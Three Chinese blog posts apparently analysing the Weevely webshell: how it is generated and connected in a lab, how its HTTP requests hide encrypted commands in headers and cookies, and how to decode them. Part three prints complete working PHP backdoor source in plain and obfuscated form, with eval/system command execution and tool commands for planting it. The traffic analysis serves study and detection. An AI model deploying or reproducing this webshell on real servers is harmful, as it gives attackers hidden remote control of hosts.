精华内容
下载资源
问答
  • Weevely使用及源码分析(二)

    千次阅读 2018-01-30 09:14:19
       客户端:运行Weevely进程的计算机。    服务端:存有PHP木马的服务器。 2. 协议交互流程    在客户端,Weevely每执行一条命令就通过HTTP协议发出一条GET/POST请求;在服务端,木马针对每条GET/POST...

    1. 定义(术语、名词解释)

       客户端:运行Weevely进程的计算机。
       服务端:存有PHP木马的服务器。

    2. 协议交互流程

       在客户端,Weevely每执行一条命令就通过HTTP协议发出一条GET/POST请求;在服务端,木马针对每条GET/POST请求作出响应,产生一条响应包。

    3. 数据包及源码分析

       通过对源代码进行走读以及wireshark进行抓包分析,可以看出Weevely主要生成的php后门文件主要有三种模板:stegaref_php.tpl,legacycookie_php.tpl,stegaref_php_debug.tpl。其中stegaref_php.tpl与stegaref_php_debug.tpl两种php模板类似,主要特点是返回的response_body中的标签stegaref_php.tpl为<连接密码md5加密前八位>标签,stegaref_php_debug.tpl为:<连接密码md5加密前八位+DEBUG>标签,同时响应体中的内容stegaref_php_debug.tpl模板把主要的有用数据字段全都显示出来了,主要用于前期debug使用,所以本文档主要分析了stegaref_php.tpl和legacycookie_php.tpl两种使用模板。

    3.1 stegaref_php.tpl模板

       以ip为136的kali虚拟机为客户端对含有后门文件的ip为137的kali虚拟机作为服务器进行远程连接。连接成功后在客户端命令行中输入命令whoami查看回显内容。通过Wireshark我们抓取到了两个TCP数据流。分别为:

    3.1.1 请求包

    数据包

    GET /backdoor.php HTTP/1.1
    Accept-Encoding: identity
    Accept-Language: uk-UA,mi;q=0.5,mt;q=0.7,mk;q=0.8
    Host: 192.168.182.137
    Accept: text/html,text/plain;0.9,*/*
    User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1
    Connection: close
    Referer: http://www.google.bt/url?sa=t&rct=j&q=168.182.137&source=web&cd=799&ved=bd6Tfh__3&url=168.182&ei=z5HrNlsxt6GOIdThqz-xn9&usg=_WO2gRIcnxgee6zgNBv-_H_-rGFUhmIHND

    分析

    HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。|

    数据包

    GET /backdoor.php HTTP/1.1
    Accept-Encoding: identity
    Accept-Language: ur-PK,mh;q=0.4
    Connection: close
    Accept: text/html,application/xml;0.9,*/*
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
    Host: 192.168.182.137
    Cookie: PHPSESSID=fkdt4fv5tkn3q2hnhp10rv65o5
    Referer: http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=hiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf

    分析

    HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。

       通过对Weevely源码进行分析,确定数据包格式主要通过7种不同的构造Referer数据报头方法进行对加密的payload进行填充。Referer头格式为:

    http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }
    http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }&sig2=${ tpl.payload_chunk(22) }
    http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&u=${ tpl.target_name() }&usg=${ tpl.payload_chunk(34) }
    http://${ tpl.get_url_base() }/?${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }&${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }
    http://${ tpl.get_url_base() }/?${ tpl.rand_chars(3) }=${ tpl.payload_chunk(30,20) }
    http://${ tpl.get_url_agent() }?${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }&${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }
    http://${ tpl.get_url_agent() }?${ tpl.rand_chars(3) }=${ tpl.payload_chunk(30,20) }

    3.1.2 响应包

    数据包

    HTTP/1.1 200 OK
    Date: Mon, 19 Sep 2016 07:13:56 GMT
    Server: Apache/2.4.23 (Debian)
    Set-Cookie: PHPSESSID=fkdt4fv5tkn3q2hnhp10rv65o5; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Length: 0
    Connection: close
    Content-Type: text/html; charset=UTF-8

    分析

    这一部分响应包中主要显示了响应头的基本信息,没有什么特殊的有用信息。|

    数据包

    HTTP/1.1 200 OK
    Date: Mon, 19 Sep 2016 07:13:56 GMT
    Server: Apache/2.4.23 (Debian)
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Length: 45
    Connection: close
    Content-Type: text/html; charset=UTF-8

    <5d41402a>TfgfHhvnfygZLdAzNCHtYgI=

    分析

    攻击载荷返回结果存储于响应体中,响应体具体返回结果通过”<5d41402a>”标签封装。

       <5d41402a>标签中”5d41402a”是php后门文件的连接密码”hello”通过代码:shared_key = hashlib.md5(password).hexdigest().lower()[:8]执行得出。即shared_key为连接密码进行MD5加密取其前八位。标签内的内容为攻击载荷具体返回值:”TfgfHhvnfygZLdAzNCHtYgI=”具体内容经过解密(先base64解码,再和shared_key进行异或,最后通过zip解压缩)zlib.decompress(utils.strings.sxor(base64.urlsafe_b64decode(payload), shared_key))得到返回值:”www-data”。
    真实的payload被经过多重编码后分散在报文的各个部分,我们需要对weevely的源码进行解析,然后对加密后的payload进行解密提取有用的价值。

    3.2 legacycookie_php.tpl模板

       通过用Wireshark进行数据包的捕获。

    3.2.1 请求包

    数据包

    GET /test.php HTTP/1.1
    Accept-Encoding: identity
    Host: 192.168.182.137
    Cookie: USR=he; APISID=-Y2\*hka?XI/oJy9-2YXIv; USRID=d3@d3L2h0b-W-wn-K&TtA; SESS=c-3\*lzdGV-tK-C-d3aG9hbWkgMj4mM#Sc\*pO-w==
    Connection: close
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR)AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16

    分析

    攻击载荷主要存在于Cookie头中,Cookie中的payload主要通过base64编码加密,加密后的payload通过进行拆分,同时通过#&*-/?@~这些特殊字符串进行混淆。

       通过对Weevely源码进行分析,可以看到对cookie中的payload进行拆分的数组主要由default_prefixes = ["ID", "SID", "APISID","USRID", "SESSID", "SESS","SSID", "USR", "PREF"]这几个数组组成。payload通过代码:payload = base64.b64encode(original_payload.strip())对payload进行base64编码加密。Cookie中第一个字符串:”USR=he;”其中”he”为连接密码前两位。

    3.2.2 响应包

    数据包

    HTTP/1.1 200 OK
    Date: Tue, 20 Sep 2016 01:39:18 GMT
    Server: Apache/2.4.23 (Debian)
    Content-Length: 20
    Connection: close
    Content-Type: text/html; charset=UTF-8

    \www-data\

    分析

    攻击载荷返回结果存储于响应体中,响应体具体返回结果通过”\\“标签封装。

       响应包标签”\\“中”llo”通过对php代码进行分析可知:$k="${password[2:]}";为连接密码第三位至末尾字符串。攻击载荷返回结果即为\\标签中的返回值。

    4. 数据包载荷分析

    4.1 weevely数据包(stegaref_php.tpl模块)分析

    4.1.1 weevely webshell控制通道原理

       weevely使用了python中的cmd模块实现交互会话,交互会话的命令有两部分:
    1. modules目录中包含了一部分命令的实现,例如weevely3/modules/file/目录实现了cd,cp等命令
    2. 对于modules中没有定义的命令,weevely会使用system函数直接执行用户输入命令。
    weevely在建立连接的时候会从服务器上获取web根目录的绝对路径,因此whoami命令,在最终会生成:
    “chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”
    其中,stegaref.py为核心代码区域,referrers.tpl为mako模板,weevely根据这个模板编码攻击payload。
    编码后的payload在HTTP的Referer和Accept-Language中,其中Accept-Language用于指示payload在referer中的偏移位置,在我们抓取到的数据包中,原始payloadchdir('/var/www/html');@system('whoami 2>&1');将会被编码为:Accept-Language: uk-UA,mi;q=0.5,mt;q=0.7,mk;q=0.8

    Referer: http://www.google.bt/url?sa=t&rct=j&q=168.182.137&source=web&cd=799&ved=bd6Tfh__3&url=168.182&ei=z5HrNlsxt6GOIdThqz-xn9&usg=_WO2gRIcnxgee6zgNBv-_H_-rGFUhmIHND

    Accept-Language: ur-PK,mh;q=0.4

    Referer: http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=hiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf

    4.1.2 核心函数send()流程分析

    1. session_id, referrers_data = self._prepare(original_payload)调用_prepare函数对原始payload进行编码,生成承载编码后的payload的referer数组,由于payload可能很长,因此可能生成多个referer。
    2. “for referrer_index, referrer_data in enumerate(referrers_data):accept_language_header = self._generate_header_accept_language”调用_generate_header_accept_language()函数生成对应的Accept-Language。其中q=0.5,q=0.7,q=0.8以及q=0.4分别代表payload在referer数组中的偏移量。
    3. 生成其他的http header,发送payload给webshell。

    4.1.3 _prepare()函数分析

    1. 函数原型:def _prepare(self, payload):这里的payload还为原始的payload
    2. payload加密函数:
    obfuscated_payload = base64.urlsafe_b64encode(utils.strings.sxor(zlib.compress(payload),self.shared_key)).rstrip('=')

    首先对原始payload进行编码,zip压缩后和shared_key进行异或运算,最后进行base64编码,注意这里的shared_key,这个key非常重要,生成的算法很简单:shared_key = hashlib.md5(password).hexdigest().lower()[:8]其中password就是webshell的密码,这里的是hello。
    3. _prepare()函数不仅仅对payload进行加密,同时也随机生成了sessionid(占两个字节),这个sessionid在_generate_header_accept_language()函数中被分解为多个字符串,即为Accept-Language中的uk-UA,mi;mt;mk;对于我们有用的就是uk-UA的第一个字符和mi,mt,mk的第一个字符,所以可以看出我们的sessionid为um。
    4. 通过代码header = hashlib.md5(session_id +self.shared_key[:4]).hexdigest().lower()[:3]
    header = hashlib.md5(session_id +self.shared_key[4:8]).hexdigest().lower()[:3]生成header和footer,而header和footer顾名思义用于指示编码后的payload的开始位置和结束位置。由于session_id上述说明了为um,所以对应的header和footer分别为‘bd6’和‘220’。
    5. 首先通过数组的偏移量可以找到大致的payload为:

    bd6Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf

    然后通过代码

    remaining_payload=header+obfuscated_payload+footer

    header和footer找出具体payload的值:

    Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ

    6 .

    for referrer_index, referrer_vanilla_data in enumerate(itertools.cycle(self.referrers_vanilla)):

    该代码为一个无限循环,这个循环将开始填充remaining_payload,这个循环有一个重要的参数,self.referrers_vanilla,这个参数是从referrers.tpl中读取并render()之后得到的,我们的数据包中可以看出使用了两模板:

    http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }**</code><br>和<code> **http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&u=${ tpl.target_name() }&usg=${ tpl.payload_chunk(34) }

    4.1.4 解密payload

       通过上文对payload进行提取可知,加密后的payload为:

    Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ

    通过他的加密函数

    obfuscated_payload = base64.urlsafe_b64encode(utils.strings.sxor(zlib.compress(payload),self.shared_key)).rstrip('=')

    可以对算法进行逆向解密(先base64解密,shared_key异或,zip解压缩)可得算法为:

    zlib.decompress(utils.strings.sxor(base64.urlsafe_b64dncode(payload), shared_key))

    由于payload进行加密时通过rstrip(‘=’)把等于号全部删除掉了,所以在进行解密时当算法出错时可以向字符串末尾添加”=”号结合算法进行解密,函数通过算法解密后可得到攻击载荷为:”chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”。

    4.1.5 响应体数据分析

       通过对数据包的提取,我们可以看到weevely的具体响应内容在响应体中显示:
    <5d41402a>TfgfHhvnfygZLdAzNCHtYgI=

    1. 观察可见具体的回显数据被封装在<5d41402a>标签中,而标签里的内容为”5d41402a”,这个数据的由来是后门php文件连接密码”hello”通过shared_key = hashlib.md5(password).hexdigest().lower()[:8]这个函数进行MD5加密然后取前8位。
    2. 具体回显内容为”TfgfHhvnfygZLdAzNCHtYgI=”,该加密字符串主要的加密方式为先进行zip压缩后和shared_key做异或运算,然后再进行base64编码,通过算法
    decompress(utils.strings.sxor(base64.b64decode(response_body), shared_key))

    进行解密运算,得到命令”whoami”的执行结果:”www-data”。

    4.2 weevely数据包(legacycookie模块)分析

    4.2.1 legacycookie_php.tpl模板数据包解密payload

    1. legacycookie_php.tpl模板如图3.1所示:
      这里写图片描述
      图 3.1

      通过模板的php代码可以知道,用这个模板进行攻击的payload主要的加密方式为base64编码加密,所以payload只需要进行base64解码即可。
    2. payload片段分别放在Cookie字段中存储,通过代码 self.default_prefixes = ["ID", "SID", "APISID","USRID", "SESSID", "SESS","SSID", "USR", "PREF"]可知,Cookie中的USR,APISID等字符串主要从该数组中随机取出。

    3. 代码中可以看到构造的Cookie第一个字符串是”self.password[:2]”即密码的前两位,后面的即为真正的payload,所以我们可以直接把payload进行拼接,然后手工去掉特殊字符,再进行base64解密就可以得到完整的payload。从数据包中提取的payload为”Y2hkaXIoJy92YXIvd3d3L2h0bWwnKTtAc3lzdGVtKCd3aG9hbWkgMj4mMScpOw==”进行base64解码后得到真正的payload为”chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”代码如下:

    additional_headers.append(('Cookie', '%s=%s;%s %s' % (prefixes.pop(),self.password[:2],additional_cookie if additional_cookie else '',cookie_payload_string)))

    4.2.2 响应体分析

       使用legacycookie_php.tpl模板的php后门文件抓取的数据包响应体为明文数据,可以通过观察直观的看到我们攻击命令的回应信息。回应信息主要放在\\标签中。而标签中的内容”llo”通过跟踪代码$k="${password[2:]}";echo "<$k>";echo "</$k>";可以知道”llo”为是php文件密码从第三个字符一直取到末尾得到。

    展开全文
  • Weevely使用及源码分析(一)

    千次阅读 2018-01-30 09:14:48
       weevely 是一款使用python编写的webshell工具(集webshell生成和连接于一身),采用C/S模式构建,可以算作是linux下的一款菜刀替代工具(限于PHP),具有很好的隐蔽性,在Linux下具有: 服务器配置审计 后门...

    1. 简介

    1.1 前言

       weevely 是一款使用python编写的webshell工具(集webshell生成和连接于一身),采用C/S模式构建,可以算作是linux下的一款菜刀替代工具(限于PHP),具有很好的隐蔽性,在Linux下具有:

    • 服务器配置审计
    • 后门放置
    • 暴力破解
    • 文件管理
    • 资源搜索
    • 网络代理
    • 命令执行
    • 系统信息收集
    • 端口扫描等功能

    1.2 测试环境

       测试系统:Linux kali 4.6.0-kali1-amd64
       测试环境:kali自带Apache+php+MySQL环境
       weevely工具版本:weevely 3.2.0
    这里写图片描述

    2. weevely工具操作

    2.1 生成后门

       生成php后门:通过命令行输入命令:weevely generate hello /var/www/html/testformd.php生成一个路径为/var/www/html下的文件名为testformd.php的php文件,其中hello为后门连接的密码。
    这里写图片描述

    2.2 连接后门

       通过已知的连接密码去连接php后门文件:在命令行中输入命令weevely http://192.168.182.137/backdoor.php hello进行远程连接后门文件。其中http://192.168.182.137/backdoor.php为你想要连接的php后门文件路径,hello为连接密码。
    这里写图片描述
    当命令行页面显示为截图所示时即为连接页面,但并没有去验证密码的正确性,所以当出现这个页面时并不能代表你成功连接到后门。当你在当前命令行中输入任意命令就会触发源代码中的密码验证机制。来进一步去判断连接密码的正确性。(具体验证机制说明将在下文单独说明)如果输入任意命令时出现以下画面代表后门连接成功:
    这里写图片描述出现错误提示时代表连接失败:
    这里写图片描述

    2.2 后门操作

       连接后门成功后,在命令行中按两次Tab键可查看weevely的可利用模块:
    这里写图片描述
    模块功能说明如下图所示:
    这里写图片描述

    展开全文
  • BT5工具之Weevely使用

    2014-12-26 16:56:18
    在BT5里webshell有不少,大家可以自己看看,这里说的是Weevely这个shell,为什么说它呢?这个小东东有点意思,类似于我们常用的“菜刀”,可以说是linux命令版的菜刀了。   这里我用的是0.6版本的,BT5自带的是...
    在BT5里webshell有不少,大家可以自己看看,这里说的是Weevely这个shell,为什么说它呢?这个小东东有点意思,类似于我们常用的“菜刀”,可以说是linux命令版的菜刀了。
     
    这里我用的是0.6版本的,BT5自带的是0.5吧,我看版本太低被我给K了,自己装个0.6,据说0.7也出了,多了个代理和端口扫描的功能。。这里不讨论。
     
    生成服务端,./weevely.py generate 51cto /tmp/wp-user.php  这句就是生成一个密码是51cto,放在tmp文件夹里,名字是wp-user.php的文件,也就是服务端。注意:密码必须大于等于4位,否则会提示出错。这里你可以找到这个服务端看看里面的代码,是加密的。weevely每次生成的服务端代码的是不一样的这样可以大大逃避杀软的追杀。服务端类似我们常用的一句话。也可以像一句话一样,把服务端里面的代码插入其他正常的PHP文件里,也是可以的。

     

    连接服务端,方法:./weevely.py http://XX.XXX.XX.shell.php 密码
    返回一个shell。
     
    使用ls命令看一下,可以执行简单的命令。

     
    得到shell后,按两下Tab键,看到了吧,这是 weevely强大的模块功能。

     
    执行以下模块功能命令:systeminfo 呵呵一些系统信息。
    注意:执行模块命令的时候必须前面有":"这个冒号,也可以按Tab键。

    模块功能:
    系统                                
            system.info   //收集系统信息        
    文件                                
            file.read        //读文件
            file.upload        //上传本地文件        
            file.check        //检查文件的权限和
            file.enum        //在本地词表的书面枚举远程文件
            file.download        //下载远程二进制/ ASCII文件到本地
    SQL                                
            sql.query        //执行SQL查询
            sql.console        //启动SQL控制台
            sql.dump        //获取SQL数据库转储
            sql.summary        //获取SQL数据库中的表和列
    后门                                
            backdoor.tcp                //TCP端口后门
            backdoor.install        //安装后门
            backdoor.reverse_tcp        //反弹
    枚举                                
            audit.user_files        //在用户家中列举常见的机密文件
            audit.user_web_files        //列举常见的Web文件
            audit.etc_passwd        //枚举/etc/passwd
    查找                                
            find.webdir        //查找可写的web目录
            find.perm        //查找权限可读/写/可执行文件和目录
            find.name        //按名称查找文件和目录
            find.suidsgid        //查找SUID / SGID文件和目录
    暴破                                
            bruteforce.sql                //暴力破解单一SQL用户                
            bruteforce.sql_users        //暴力破解SQL密码
            bruteforce.ftp               // 暴力破解单一FTP用户        
            bruteforce.ftp_users        //暴力破解FTP密码

    其他不全的等各位童鞋test后补全吧。
    PS:等待某位大牛写过GUI版,就真的是linux下的菜刀了。
    再PS:有人说现在webshell很多,为什么用这个,还是命令行的,太费事啊,我想无论什么东西都有它存在的道理,既然BT5集成了它,估计是在高级入侵时使用的。试想一下,如果你拿了个linux肉鸡,是不是装个后门,后门是不是都是命令控制的(给装VNC估计也有),linux肉鸡能用界面控制的很少,除非你不想活了,既然这样那这个webshell,就可以放在肉鸡上命令控制,来达到隐藏自己的作用。说的不对的地方多多包涵。。
    展开全文
  • Weevely使用及源码分析(三)

    千次阅读 2018-01-30 09:10:51
    1 weevely验证机制分析 1.1 源码分析    当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter...

    1 weevely验证机制分析

    1.1 源码分析

       当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command),通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。

    1.2 PHP(stegaref_php.tpl模板)后门文件分析

       首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php来生成木马文件时,会调用generate()函数来生成木马。

    1. generate()函数在weevely3-master/core/generate.py文件中,函数原型为: def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。
    2. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为:
     $kh="5d41";
            $kf="402a";
    
            function x($t,$k){
                $c=strlen($k);
                $l=strlen($t);
                $o="";
                for($i=0;$i<$l;){
                    for($j=0;($j<$c&&$i<$l);$j++,$i++)
                    {
                        $o.=$t{$i}^$k{$j};
                    }
                }
                return $o;
            }
    
            $r=$_SERVER;
            $rr=@$r["HTTP_REFERER"];
            $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
    
            if($rr&&$ra){
                $u=parse_url($rr);
                parse_str($u["query"],$q);
                $q=array_values($q);
                preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    
                if($q&&$m){
                    @session_start();
    
                    $s=&$_SESSION;
                    $ss="substr";
                    $sl="strtolower";
    
                    $i=$m[1][0].$m[1][1];
                    $h=$sl($ss(md5($i.$kh),0,3));
                    $f=$sl($ss(md5($i.$kf),0,3));
    
                    $p="";
                    for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
    
                    if(strpos($p,$h)===0){
                        $s[$i]="";
                        $p=$ss($p,3);
                    }
    
                    if(array_key_exists($i,$s)){
    
                        $s[$i].=$p;
    
                        $e=strpos($s[$i],$f);
                        if($e){
                            $k=$kh.$kf;
                            ob_start();
                            @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                            $o=ob_get_contents();
                            ob_end_clean();
                            $d=base64_encode(x(gzcompress($o),$k));
                            print("<$k>$d</$k>");
                            @session_destroy();
                        }
                    }
                }
            }
    1. minified_agent = utils.code.minify_php(agent)对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码为:
    $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
    1. obfuscated = obfuscator_template.render(agent=agent)这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。模糊处理完的文件源码为:
    <?php
            $s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';
            $H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';
            $u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';
            $V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';
            $E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[\\w])[$R\\w-]+(?:;$Rq=0$R.([\\d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';
    		$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';
            $F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';
            $P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';
    		$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d</$k>");@sessi$Ron_destroy();}}}}';
    		$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';
            $U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');
            $X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);
            $O=$U('',$X);$O();
            ?>
    1. 通过对最具有格式且没有经过模糊处理的php文件进行源码走读,可以看出,文件中存在”kh=5d41""kh=5d41"和"kf=402a”这两个参数,这两个参数就是我们生成文件时的定义的密码经过md5加密后的前8位,分在两个参数中存储。$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据,然后通过正则表达式preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);去匹配ACCEPT_LANGUAGE中的数组偏移量。$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));来求出真正有用的payload的header和footer。
    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));

    这个函数是用来解密payload,得到真正攻击的载荷命令。
    $d=base64_encode(x(gzcompress($o),$k));把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中print("<$k>$d</$k>");

    1.3 PHP(legacycookie_php.tpl模板)后门文件分析

       weevely3中默认生成的文件是以stegaref_php.tpl为模板和以obfusc1_php.tpl为混淆模板来进行后门文件生成。可以在weevely.py文件中对这两个参数进行修改换成以legacycookie_php.tpl为模板和cleartext1_php.tpl为混淆模板生成配合php文件。
    直接对源代码进行跟踪调试
    1. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来初始php代码为:

        u'$c="count";
            $a=$_COOKIE;
            if(reset($a)=="he" && $c($a)>3){
            $k="llo";
            echo "<$k>";
            eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"), array("","+"), join(array_slice($a,$c($a)-3)))));
            echo "</$k>";
            }
            '

     2. “minified_agent = utils.code.minify_php(agent)”对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码代码为:

    '$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}'

     3. “obfuscated = obfuscator_template.render(agent=agent)”这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。生成的源码为

    u'<?php
            $c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}
            ?>'

     4.通过对php源代码的走读可以看出legacycookie_php.tpl模板执行结果放在<$k></$k>标签中,标签中执行结果通过正则表达式匹配,然后进行base64解码获得。

    1.4 验证连接是否成功

    1. 通过_check_interpreter()函数构造随机打印字符的payload,调用channel.py文件中的send()函数中代码response = self.channel_loaded.send(
      payload,
      self._additional_handlers()
      )
      向三种payload加密方式中分别发送payload。依次执行查看响应的Response_body的值是否与构造payload想打印的值相等来进行判断连接是否成功。
    2. 第一次payload发送到stegaref.py的send()函数中,payload经过用户输入的连接密码进行加密,构造request请求头发送http协议,执行php后门文件,通过php文件中生成文件的密码进行解密执行payload,得到相应Response。response = opener.open(url).read()得到响应体的值。判断:
      1. 响应体为空,说明连接密码生成的payload和真实密码解密的payload不一致,验证失败。
